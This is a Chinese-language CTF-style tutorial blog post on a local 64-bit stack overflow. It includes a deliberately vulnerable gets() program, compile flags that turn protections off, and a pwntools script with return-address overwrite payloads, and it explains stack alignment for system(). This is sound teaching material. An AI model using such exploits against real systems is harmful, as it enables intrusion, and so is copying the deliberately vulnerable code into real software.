栈溢出使用pwntools本地交互以及栈对齐问题
首先上代码vuln.c,一眼看出gets可以造成栈溢出,使得rip被覆盖为getshell函数的地址,即可在函数返回时获取shell。
#include <stdio.h> #include <stdlib.h> int getshell() { return system("/bin/sh"); } int main() { char buff[15]; printf("Input:\n"); gets(buff); puts(buff); return 0; }
使用下面的命令进行编译,关闭三个保护机制:Canary栈溢出保护、栈不可执行、PIE溢出保护(对程序的内存布局随机化),生成64位ELF
gcc -g vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
然后用pwntools编写脚本,运行即可get shell
from pwn import * context.log_level = 'debug' sh = process('./vuln') elf = ELF('./vuln') if __name__ == "__main__": payload = b'0'*(15+8)+p64(0x400572) gdb.attach(sh) # 在运行pwntools的同时启动一个gdb窗口进行动态分析 sh.sendlineafter(b"Input:",payload) sh.interactive()
这样就结束了嘛?不,还有一个重要的问题,就是payload是如何构造的。直觉来想,就是buff的偏移15字节+rbp的8字节+getshell的地址就好。我们用IDA打开vuln,可以看到getshell的地址是0x400572。
用这个地址来构造payload后,运行会发现输出了Got EOF while reading in interactive,直接结束了交互,并不能得到shell。而把地址改成0x400573就可以得到shell,这是怎么回事呢?
原来,我用的操作系统是Ubuntu18,18及以上版本的系统要求在调用system函数时栈16字节对齐。我们可以看到栈中的地址末尾非0即8,这是因为64位程序每个内存单元都是8字节。而栈16字节对齐的意思是调用system函数时rsp的值必须是16的倍数,也就是末位为0,否则无法执行
有两种方法解决该问题,一是将代码中的push rbp(55)跳过去,也就是将getshell的地址+1,这使得栈中的元素少了一个,rsp末位自然就从8变成0了
payload = b'0'*(15+8)+p64(0x400572+1)
另一种方法是在调用system之前调用一个ret指令,ret的功能是pop rip,也会弹栈一次,使得rsp对齐。
payload = b'0'*(15+8)+p64(0x4004F0)+p64(0x400572)
由上图所示,两种方法确实都可以执行成功。
分类:
pwn
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战